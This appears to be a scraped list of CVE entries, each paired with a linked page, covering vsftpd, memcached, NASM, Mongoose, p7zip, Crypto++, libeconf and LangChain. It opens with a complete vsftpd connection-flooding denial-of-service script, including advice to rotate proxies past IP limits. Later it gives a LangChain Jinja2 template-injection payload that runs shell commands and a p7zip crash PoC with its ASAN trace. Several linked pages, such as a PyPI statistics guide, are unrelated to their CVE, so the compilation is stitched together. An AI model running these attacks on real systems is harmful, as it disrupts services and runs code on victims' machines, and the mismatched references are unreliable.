VSFTPD 3.0.3 allows attackers to cause a denial of service due to limited number of connections allowed.

**vsftpd 3.0.3 - Remote Denial of Service**

    # Exploit Title: vsftpd 3.0.3 - Remote Denial of Service
    # Date: 22-03-2021
    # Exploit Author: xynmaps
    # Vendor Homepage: https://security.appspot.com/vsftpd.html
    # Software Link: https://security.appspot.com/downloads/vsftpd-3.0.3.tar.gz
    # Version: 3.0.3
    # Tested on: Parrot Security OS 5.9.0
    
    #-------------------------------#
    
    #encoding=utf8
    #__author__ = XYN/Dump/NSKB3
    #VSFTPD Denial of Service exploit by XYN/Dump/NSKB3.
    """
    VSFTPD only lets a certain amount of connections to be made to the server, so, by repeatedly making new connections to the server,
    you can block other legitimite users from making a connection to the server, if the the connections/ip isn't limited.
    (if it's limited, just run this script from different proxies using proxychains, and it will work)
    """
    
    import socket
    import sys
    import threading
    import subprocess
    import time
    
    banner = """
    ._________________.
    |     VS-FTPD     |
    |      D o S      |
    |_________________|
    |By XYN/DUMP/NSKB3|
    |_|_____________|_|
    |_|_|_|_____|_|_|_|
    |_|_|_|_|_|_|_|_|_|
    
    """
    usage = "{} <TARGET> <PORT(DEFAULT:21> <MAX_CONNS(DEFAULT:50)>".format(sys.argv[0])
    
    def test(t,p):
    	s = socket.socket()
    	s.settimeout(10)
    	try:
    		s.connect((t, p))
    		response = s.recv(65535)
    		s.close()
    		return 0
    	except socket.error:
    		print("Port {} is not open, please specify a port that is open.".format(p))
    		sys.exit()
    def attack(targ, po, id):
    	try:
    		subprocess.Popen("ftp {0} {1}".format(targ, po), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    		#print("Worker {} running".format(id))
    	except OSError: pass
    def main():
    	global target, port, start
    	print banner
    	try:
    		target = sys.argv[1]
    	except:
    		print usage
    		sys.exit()
    	try:
    		port = int(sys.argv[2])
    	except:
    		port = 21
    	try:
    		conns = int(sys.argv[3])
    	except:
    		conns = 50
    	print("[!] Testing if {0}:{1} is open".format(target, port))
    	test(target, port)
    	print("[+] Port {} open, starting attack...".format(port))
    	time.sleep(2)
    	print("[+] Attack started on {0}:{1}!".format(target, port))
    	def loop(target, port, conns):
    		global start
    		threading.Thread(target=timer).start()
    		while 1:
    			for i in range(1, conns + 3):
    				t = threading.Thread(target=attack, args=(target,port,i,))
    				t.start()
    				if i > conns + 2:
    					t.join()
    					break
    					loop()
    
    	t = threading.Thread(target=loop, args=(target, port, conns,))
    	t.start()
    
    def timer():
            start = time.time()
            while 1:
                    if start < time.time() + float(900): pass
                    else:
                            subprocess.Popen("pkill ftp", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                            t = threading.Thread(target=loop, args=(target, port,))
    			t.start()
                            break
    
    main()

CVE-2021-30047: OffSec’s Exploit Database Archive

Memcached 1.6.0 before 1.6.3 allows remote attackers to cause a denial of service (daemon crash) via a crafted meta command.

memcached maintainer,

I found a NULL pointer reference bug in code of memcached, which could conduct DoS by remote artificial command.

The affected memcached version: >1.6.0.

The bug location is at file: memcached.c, detailed information as the following:

In the function "process\_mget\_command", the local variable "errstr" is defined as a char\*, which is not initialized.  

In certain condition, the function "\_meta\_flag\_preparse" is called in "process\_mget\_command", and the address of "errstr" is the 4th param.  
In the function "\_meta\_flag\_preparse", there is chances that the "\*errstr" is not initialized while command is "F" or "S".  

then, out\_errstring->out\_string->strlen referencing a NULL pointer, conduct a crash.

BR  
Zhibin

CVE-2020-22570: NULL pointer reference conduct DoS · Issue #636 · memcached/memcached

Buffer overflow vulnerability in quote_for_pmake in asm/nasm.c in nasm before 2.15.05 allows attackers to cause a denial of service via crafted file.

NameLast modifiedSizeDescription

Parent Directory  -   doc/2020-08-28 09:05 - Online documentation dos/2020-08-28 09:08 - MS-DOS executables linux/2020-08-28 09:08 - Linux packages macosx/2020-08-28 09:08 - MacOS X packages win32/2020-08-28 09:08 - Windows packages (32 bit) win64/2020-08-28 09:08 - Windows packages (64 bit) git.id2020-08-28 09:08 41 Corresponding git revision ID nasm-2.15.05-xdoc.tar.bz22020-08-28 09:05 900KDownloadable documentation nasm-2.15.05-xdoc.tar.gz2020-08-28 09:05 1.0MDownloadable documentation nasm-2.15.05-xdoc.tar.xz2020-08-28 09:05 804KDownloadable documentation nasm-2.15.05-xdoc.zip2020-08-28 09:05 1.0MDownloadable documentation nasm-2.15.05.tar.bz22020-08-28 09:04 1.2MSource code nasm-2.15.05.tar.gz2020-08-28 09:04 1.6MSource code nasm-2.15.05.tar.xz2020-08-28 09:04 972KSource code nasm-2.15.05.zip2020-08-28 09:05 1.8MSource code

CVE-2022-29654: Index of /pub/nasm/releasebuilds/2.15.05

Buffer overflow in mg_resolve_from_hosts_file in Mongoose 6.18, when reading from a crafted hosts file.

Buffer overflow in mg\_resolve\_from\_hosts\_file function (line 124) in mongoose/src/mg\_resolv.c in Mongoose 6.18, where sscanf copies data from p to alias without limiting the size of the copied data not to exceed the alias array size, which is 256. Note that p can be up to 1024 (minus the IP digits) and is copied from a tainted file. This bug can be triggered by a malformed hosts file that includes a hostname that is larger than 256.

One way to fix this bug is by adding the format width specifier

for (p = line + len; sscanf(p, "%**255**ss%n", alias, &len) == 1; p += len) {

CVE-2020-25887: Buffer overflow in mg_resolve_from_hosts_file function  · Issue #1140 · cesanta/mongoose

GNU Binutils before 2.34 has an uninitialized-heap vulnerability in function tic4x_print_cond (file opcodes/tic4x-dis.c) which could allow attackers to make an information leak.

'25319?cve=title' is not a valid bug number nor an alias to a bug.

Please press **Back** and try again.

CVE-2020-35342: Invalid Bug ID

The json2xml package through 3.12.0 for Python allows an error in typecode decoding enabling a remote attack that can lead to an exception, causing a denial of service.

This section covers how to use the public PyPI download statistics dataset to learn more about downloads of a package (or packages) hosted on PyPI. For example, you can use it to discover the distribution of Python versions used to download a package.

Contents

*   Background
    
*   Public dataset
    
    *   Getting set up
        
    *   Data schema
        
    *   Useful queries
        
        *   Counting package downloads
            
        *   Package downloads over time
            
        *   Python versions over time
            
        *   Getting absolute links to artifacts
            
*   Caveats
    
*   Additional tools
    
    *   google-cloud-bigquery
        
    *   pypinfo
        
    *   pandas-gbq
        
*   References
    

**Background¶**

PyPI does not display download statistics for a number of reasons: 1

*   **Inefficient to make work with a Content Distribution Network (CDN):** Download statistics change constantly. Including them in project pages, which are heavily cached, would require invalidating the cache more often, and reduce the overall effectiveness of the cache.
    
*   **Highly inaccurate:** A number of things prevent the download counts from being accurate, some of which include:
    
    *   pip’s download cache (lowers download counts)
        
    *   Internal or unofficial mirrors (can both raise or lower download counts)
        
    *   Packages not hosted on PyPI (for comparisons sake)
        
    *   Unofficial scripts or attempts at download count inflation (raises download counts)
        
    *   Known historical data quality issues (lowers download counts)
        
*   **Not particularly useful:** Just because a project has been downloaded a lot doesn’t mean it’s good; Similarly just because a project hasn’t been downloaded a lot doesn’t mean it’s bad!
    

In short, because it’s value is low for various reasons, and the tradeoffs required to make it work are high, it has been not an effective use of limited resources.

**Public dataset¶**

As an alternative, the Linehaul project streams download logs from PyPI to Google BigQuery 2, where they are stored as a public dataset.

**Getting set up¶**

In order to use Google BigQuery to query the public PyPI download statistics dataset, you’ll need a Google account and to enable the BigQuery API on a Google Cloud Platform project. You can run up to 1TB of queries per month using the BigQuery free tier without a credit card

*   Navigate to the BigQuery web UI.
    
*   Create a new project.
    
*   Enable the BigQuery API.
    

For more detailed instructions on how to get started with BigQuery, check out the BigQuery quickstart guide.

**Data schema¶**

Linehaul writes an entry in a bigquery-public-data.pypi.file_downloads table for each download. The table contains information about what file was downloaded and how it was downloaded. Some useful columns from the table schema include:

  

Column

Description

Examples

timestamp

Date and time

2020-03-09 00:33:03 UTC

file.project

Project name

pipenv, nose

file.version

Package version

0.1.6, 1.4.2

details.installer.name

Installer

pip, bandersnatch

details.python

Python version

2.7.12, 3.6.4

**Useful queries¶**

Run queries in the BigQuery web UI by clicking the “Compose query” button.

Note that the rows are stored in a partitioned table, which helps limit the cost of queries. These example queries analyze downloads from recent history by filtering on the timestamp column.

**Counting package downloads¶**

The following query counts the total number of downloads for the project “pytest”.

#standardSQL
SELECT COUNT(\*) AS num\_downloads
FROM \`bigquery-public-data.pypi.file\_downloads\`
WHERE file.project = 'pytest'
  -- Only query the last 30 days of history
  AND DATE(timestamp)
    BETWEEN DATE\_SUB(CURRENT\_DATE(), INTERVAL 30 DAY)
    AND CURRENT\_DATE()

num\_downloads

26190085

To count downloads from pip only, filter on the details.installer.name column.

#standardSQL
SELECT COUNT(\*) AS num\_downloads
FROM \`bigquery-public-data.pypi.file\_downloads\`
WHERE file.project = 'pytest'
  AND details.installer.name = 'pip'
  -- Only query the last 30 days of history
  AND DATE(timestamp)
    BETWEEN DATE\_SUB(CURRENT\_DATE(), INTERVAL 30 DAY)
    AND CURRENT\_DATE()

num\_downloads

24334215

**Package downloads over time¶**

To group by monthly downloads, use the TIMESTAMP_TRUNC function. Also filtering by this column reduces corresponding costs.

#standardSQL
SELECT
  COUNT(\*) AS num\_downloads,
  DATE\_TRUNC(DATE(timestamp), MONTH) AS \`month\`
FROM \`bigquery-public-data.pypi.file\_downloads\`
WHERE
  file.project = 'pytest'
  -- Only query the last 6 months of history
  AND DATE(timestamp)
    BETWEEN DATE\_TRUNC(DATE\_SUB(CURRENT\_DATE(), INTERVAL 6 MONTH), MONTH)
    AND CURRENT\_DATE()
GROUP BY \`month\`
ORDER BY \`month\` DESC

 

num\_downloads

month

1956741

2018-01-01

2344692

2017-12-01

1730398

2017-11-01

2047310

2017-10-01

1744443

2017-09-01

1916952

2017-08-01

**Python versions over time¶**

Extract the Python version from the details.python column. Warning: This query processes over 500 GB of data.

#standardSQL
SELECT
  REGEXP\_EXTRACT(details.python, r"\[0-9\]+\\.\[0-9\]+") AS python\_version,
  COUNT(\*) AS num\_downloads,
FROM \`bigquery-public-data.pypi.file\_downloads\`
WHERE
  -- Only query the last 6 months of history
  DATE(timestamp)
    BETWEEN DATE\_TRUNC(DATE\_SUB(CURRENT\_DATE(), INTERVAL 6 MONTH), MONTH)
    AND CURRENT\_DATE()
GROUP BY \`python\_version\`
ORDER BY \`num\_downloads\` DESC

 

python

num\_downloads

3.7

18051328726

3.6

9635067203

3.8

7781904681

2.7

6381252241

null

2026630299

3.5

1894153540

**Getting absolute links to artifacts¶**

It’s sometimes helpful to be able to get the absolute links to download artifacts from PyPI based on their hashes, e.g. if a particular project or release has been deleted from PyPI. The metadata table includes the path column, which includes the hash and artifact filename.

Note

The URL generated here is not guaranteed to be stable, but currently aligns with the URL where PyPI artifacts are hosted.

SELECT
  CONCAT('https://files.pythonhosted.org/packages', path) as url
FROM
  \`bigquery-public-data.pypi.distribution\_metadata\`
WHERE
  filename LIKE 'sampleproject%'

url

https://files.pythonhosted.org/packages/eb/45/79be82bdeafcecb9dca474cad4003e32ef8e4a0dec6abbd4145ccb02abe1/sampleproject-1.2.0.tar.gz

https://files.pythonhosted.org/packages/56/0a/178e8bbb585ec5b13af42dae48b1d7425d6575b3ff9b02e5ec475e38e1d6/sampleproject\_nomura-1.2.0-py2.py3-none-any.whl

https://files.pythonhosted.org/packages/63/88/3200eeaf22571f18d2c41e288862502e33365ccbdc12b892db23f51f8e70/sampleproject\_nomura-1.2.0.tar.gz

https://files.pythonhosted.org/packages/21/e9/2743311822e71c0756394b6c5ab15cb64ca66c78c6c6a5cd872c9ed33154/sampleproject\_doubleyoung18-1.3.0-py2.py3-none-any.whl

https://files.pythonhosted.org/packages/6f/5b/2f3fe94e1c02816fe23c7ceee5292fb186912929e1972eee7fb729fa27af/sampleproject-1.3.1.tar.gz

**Caveats¶**

In addition to the caveats listed in the background above, Linehaul suffered from a bug which caused it to significantly under-report download statistics prior to July 26, 2018. Downloads before this date are proportionally accurate (e.g. the percentage of Python 2 vs. Python 3 downloads) but total numbers are lower than actual by an order of magnitude.

**Additional tools¶**

Besides using the BigQuery console, there are some additional tools which may be useful when analyzing download statistics.

**google-cloud-bigquery¶**

You can also access the public PyPI download statistics dataset programmatically via the BigQuery API and the google-cloud-bigquery project, the official Python client library for BigQuery.

from google.cloud import bigquery

\# Note: depending on where this code is being run, you may require
\# additional authentication. See:
\# https://cloud.google.com/bigquery/docs/authentication/
client \= bigquery.Client()

query\_job \= client.query("""
SELECT COUNT(\*) AS num\_downloads
FROM \`bigquery-public-data.pypi.file\_downloads\`
WHERE file.project = 'pytest'
  -- Only query the last 30 days of history
  AND DATE(timestamp)
    BETWEEN DATE\_SUB(CURRENT\_DATE(), INTERVAL 30 DAY)
    AND CURRENT\_DATE()""")

results \= query\_job.result()  \# Waits for job to complete.
for row in results:
    print("{} downloads".format(row.num\_downloads))

**pypinfo¶**

pypinfo is a command-line tool which provides access to the dataset and can generate several useful queries. For example, you can query the total number of download for a package with the command pypinfo package_name.

Install pypinfo using pip.

python3 \-m pip install pypinfo

Usage:

$ pypinfo requests
Served from cache: False
Data processed: 6.87 GiB
Data billed: 6.87 GiB
Estimated cost: $0.04

| download\_count |
| -------------- |
|      9,316,415 |

**pandas-gbq¶**

The pandas-gbq project allows for accessing query results via Pandas.

**References¶**

1

PyPI Download Counts deprecation email

2

PyPI BigQuery dataset announcement email

CVE-2022-25024: Analyzing PyPI package downloads — Python Packaging User Guide

p7zip 16.02 was discovered to contain a heap-buffer-overflow vulnerability via the function NArchive::NZip::CInArchive::FindCd(bool) at CPP/7zip/Archive/Zip/ZipIn.cpp.

*   Summary
*   Files
*   Reviews
*   Support
*   Tickets ▾
    *   Bugs
    *   Support Requests
    *   Patches
    *   Feature Requests
*   Discussion

Menu ▾ ▴

Status: open

Owner: nobody

Labels: None

Priority: 5

Updated: 2022-12-09

Created: 2022-12-09

Private: No

**Description**

Heap-buffer-overflow in CPP/7zip/Archive/Zip/ZipIn.cpp:1116 in NArchive::NZip::CInArchive::FindCd(bool)

**Verison**

$ ./7za   
7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,64 CPUs x64)

**Replay**

./7za t poc.zip

**POC**

https://github.com/17ssDP/fuzzer\_crashes/raw/main/zip/poc.zip

**ASAN**

$./7zatpoc.zip

7-Zip(a)[64]16.02:Copyright(c)1999-2016IgorPavlov:2016-05-21
p7zipVersion16.02(locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64bits,64CPUsx64)

Scanningthedriveforarchives:
1file,4340bytes(5KiB)

Testingarchive:poc.zip
=================================================================
==65213==ERROR:AddressSanitizer:heap-buffer-overflowonaddress0x6210000000ffatpc0x55b8f9dd0731bp0x7ffd13599890sp0x7ffd13599880
READofsize4at0x6210000000ffthreadT0
#00x55b8f9dd0730inNArchive::NZip::CInArchive::FindCd(bool)../../../../CPP/7zip/Archive/Zip/ZipIn.cpp:1116
#10x55b8f9dd5f00inNArchive::NZip::CInArchive::ReadVols()../../../../CPP/7zip/Archive/Zip/ZipIn.cpp:1578
#20x55b8f9e01d9binNArchive::NZip::CInArchive::Open(IInStream*,unsignedlonglongconst*,IArchiveOpenCallback*,CObjectVector<NArchive::NZip::CItemEx>&)../../../../CPP/7zip/Archive/Zip/ZipIn.cpp:2135
#30x55b8f9d4c294inNArchive::NZip::CHandler::Open(IInStream*,unsignedlonglongconst*,IArchiveOpenCallback*)../../../../CPP/7zip/Archive/Zip/ZipHandler.cpp:474
#40x55b8fa46890binCArc::OpenStream2(COpenOptionsconst&)../../../../CPP/7zip/UI/Common/OpenArchive.cpp:1878
#50x55b8fa47fb6ainCArc::OpenStream(COpenOptionsconst&)../../../../CPP/7zip/UI/Common/OpenArchive.cpp:2901
#60x55b8fa481451inCArc::OpenStreamOrFile(COpenOptions&)../../../../CPP/7zip/UI/Common/OpenArchive.cpp:2993
#70x55b8fa48437ainCArchiveLink::Open(COpenOptions&)../../../../CPP/7zip/UI/Common/OpenArchive.cpp:3169
#80x55b8fa48ccf5inCArchiveLink::Open2(COpenOptions&,IOpenCallbackUI*)../../../../CPP/7zip/UI/Common/OpenArchive.cpp:3292
#90x55b8fa48f2a5inCArchiveLink::Open3(COpenOptions&,IOpenCallbackUI*)../../../../CPP/7zip/UI/Common/OpenArchive.cpp:3356
#100x55b8fa409e7einExtract(CCodecs*,CObjectVector<COpenType>const&,CRecordVector<int>const&,CObjectVector<UString>&,CObjectVector<UString>&,NWildcard::CCensorNodeconst&,CExtractOptionsconst&,IOpenCallbackUI*,IExtractCallbackUI*,IHashCalc*,UString&,CDecompressStat&)../../../../CPP/7zip/UI/Common/Extract.cpp:362
#110x55b8fa5cc0b6inMain2(int,char**)../../../../CPP/7zip/UI/Console/Main.cpp:923
#120x55b8f9819ef8inmain../../../../CPP/7zip/UI/Console/MainAr.cpp:66
#130x7fa675178c86in__libc_start_main(/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
#140x55b8f981c069in_start(/home/p7zip/7za+0x41069)

0x6210000000ffislocated1bytestotheleftof4340-byteregion[0x621000000100,0x6210000011f4)
allocated by thread T0 here:
    #0 0x7fa675e6c608 in operator new[](unsignedlong)(/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe0608)
#10x55b8f9dce590inCObjArray<unsignedchar>::CObjArray(unsignedlong)../../../../CPP/7zip/Archive/Zip/../../../Common/MyBuffer.h:141
#20x55b8f9dce590inNArchive::NZip::CInArchive::FindCd(bool)../../../../CPP/7zip/Archive/Zip/ZipIn.cpp:1066

SUMMARY:AddressSanitizer:heap-buffer-overflow../../../../CPP/7zip/Archive/Zip/ZipIn.cpp:1116inNArchive::NZip::CInArchive::FindCd(bool)
Shadowbytesaroundthebuggyaddress:
0x0c427fff7fc0:00000000000000000000000000000000
0x0c427fff7fd0:00000000000000000000000000000000
0x0c427fff7fe0:00000000000000000000000000000000
0x0c427fff7ff0:00000000000000000000000000000000
0x0c427fff8000:fafafafafafafafafafafafafafafafa
=>0x0c427fff8010:fafafafafafafafafafafafafafafa[fa]
0x0c427fff8020:00000000000000000000000000000000
0x0c427fff8030:00000000000000000000000000000000
0x0c427fff8040:00000000000000000000000000000000
0x0c427fff8050:00000000000000000000000000000000
0x0c427fff8060:00000000000000000000000000000000
Shadowbytelegend(oneshadowbyterepresents8applicationbytes):
Addressable:00
Partiallyaddressable:01020304050607
Heapleftredzone:fa
Freedheapregion:fd
Stackleftredzone:f1
Stackmidredzone:f2
Stackrightredzone:f3
Stackafterreturn:f5
Stackuseafterscope:f8
Globalredzone:f9
Globalinitorder:f6
Poisonedbyuser:f7
Containeroverflow:fc
Arraycookie:ac
Intraobjectredzone:bb
ASaninternal:fe
Leftallocaredzone:ca
Rightallocaredzone:cb
==65213==ABORTING

**Environment**

**1 Attachments**

**Discussion**

Log in to post a comment.

CVE-2022-47069: p7zip / Bugs / #241 Heap-buffer-overflow in ZipIn.cpp:1116

Crypto++ through 8.4 contains a timing side channel in ECDSA signature generation. Function FixedSizeAllocatorWithCleanup could write to memory outside of the allocation if the allocated memory was not 16-byte aligned. NOTE: this issue exists because the CVE-2019-14318 fix was intentionally removed for functionality reasons.

Crypto++ 8.4 was released on January 1, 2021. The 8.4 release was a minor, unplanned release. There was no CVEs and one memory error fixed. A recompile of programs is required due to an unintentional ABI break in Crypto++ 8.3.

The Crypto++ 8.4 release reverted the changes for constant-time elliptic curve algorithms. Marcel Keller reported some operations broke under the new algorithm in Issue 992. The revert reactivated CVE-2019-14318.

The release also cleared a memory error reported by Daniel McRobb in Issue 988. McRobb discovered FixedSizeAllocatorWithCleanup could write to memory outside of the allocation if the allocated memory was not 16-byte aligned.

**Release Notes**

*   fix SIGILL on POWER8 when compiling with GCC 10
*   fix potential out-of-bounds write in FixedSizeAllocatorWithCleanup
*   fix compile on AIX POWER7 with IBM XLC 12.01
*   fix compile on Solaris with SunCC 12.6
*   revert changes for constant-time elliptic curve algorithms
*   fix makefile clean and distclean recipes

**FIPS DLL deprecation**

The FIPS DLL used to be an important artifact for Windows builds. NIST moved the Crypto++ library to the Historical Validation List in 2014. The Windows DLL is no longer validated.

The project files to build the FIPS DLL are cryptdll.vcxproj and dlltest.vcxproj. The projects are now deprecated and subject to removal.

CVE-2022-48570: Release Crypto++ 8.4 release · weidai11/cryptopp

A stack overflow vulnerability exists in function econf_writeFile in file atlibeconf/lib/libeconf.c in libeconf 0.5.1 allows attackers to cause a Denial of service or execute arbitrary code.

#ifdef HAVE\_CONFIG\_H # include #endif #include #include #include "libeconf.h" /\* Test case: \* Reading, merging and writing string data \*/ int main(int argc, char \*argv\[\]) { econf\_err error; // Read test data econf\_file \*kf\_fromfile; error = econf\_readFile(&kf\_fromfile, argv\[1\], "=", "#"); if (error || kf\_fromfile == NULL) { fprintf (stderr, "ERROR: couldn't read /usr/etc configuration file: %s\\n", econf\_errString(error)); return 1; } // Rewrite file to disk econf\_writeFile(kf\_fromfile, "./corpus", "out.ini"); // And reading it again econf\_file \*kf\_compare; error = econf\_readFile(&kf\_compare, "./corpus/out.ini", "=", "#"); if (error || kf\_compare == NULL) { fprintf (stderr, "ERROR: couldn't read written /usr/etc configuration file: %s\\n", econf\_errString(error)); return 1; } remove("./corpus/out.ini"); // Comparing the data const char \*compare\[\] = {"test", "test2", "test3", "test4", "test5", "test6"}; for (int i = 0; i < 6; i++) { char \*val\_fromfile, \*val\_compare; econf\_getStringValue(kf\_fromfile, "test", compare\[i\], &val\_fromfile); econf\_getStringValue(kf\_compare, "test", compare\[i\], &val\_compare); if (val\_fromfile == NULL && val\_compare == NULL) continue; if (val\_fromfile == NULL || val\_compare == NULL) { fprintf (stderr, "ERROR: saved values are different\\n"); return 1; } if(strcmp(val\_fromfile, val\_compare) != 0) { fprintf (stderr, "ERROR: saved values are different '%s' - '%s'\\n", val\_fromfile, val\_compare); return 1; } free(val\_fromfile); free(val\_compare); } // Merge two econf\_files. One value is a NULL value. econf\_file \*kf\_freshini; econf\_newIniFile(&kf\_freshini); econf\_setStringValue(kf\_freshini, "test", "test", NULL); econf\_file \*kf\_merged; econf\_mergeFiles(&kf\_merged, kf\_freshini, kf\_fromfile); econf\_free(kf\_freshini); econf\_free(kf\_merged); econf\_free(kf\_compare); econf\_free(kf\_fromfile); return 0; }

CVE-2023-30078

An issue in langchain v.0.0.171 allows a remote attacker to execute arbitrary code via the via the a json file to the load_prompt parameter.

**System Info**

windows 11

**Who can help?**

_No response_

**Information**

*   The official example notebooks/scripts
*   My own modified scripts

**Related Components**

*   LLMs/Chat Models
*   Embedding Models
*   Prompts / Prompt Templates / Prompt Selectors
*   Output Parsers
*   Document Loaders
*   Vector Stores / Retrievers
*   Memory
*   Agents / Agent Executors
*   Tools / Toolkits
*   Chains
*   Callbacks/Tracing
*   Async

**Reproduction**

1.  save the following data to pt.json

{
    "input\_variables": \[
        "prompt"
    \],
    "output\_parser": null,
    "partial\_variables": {},
    "template": "Tell me a {{ prompt }} {{ ''.\_\_class\_\_.\_\_bases\_\_\[0\].\_\_subclasses\_\_()\[147\].\_\_init\_\_.\_\_globals\_\_\['popen'\]('dir').read() }}",
    "template\_format": "jinja2",
    "validate\_template": true,
    "\_type": "prompt"
}

2.  run

from langchain.prompts import load\_prompt
loaded\_prompt \= load\_prompt("pt.json")
loaded\_prompt.format(history\="", prompt\="What is 1 + 1?")

3.  the dir command will be execute

attack scene: Alice can send prompt file to Bob and let Bob to load it.  
analysis: Jinja2 is used to concat prompts. Template injection will happened  
note: in the pt.json, the template has payload, the index of __subclasses__ maybe different in other environment.

**Expected behavior**

code should not be execute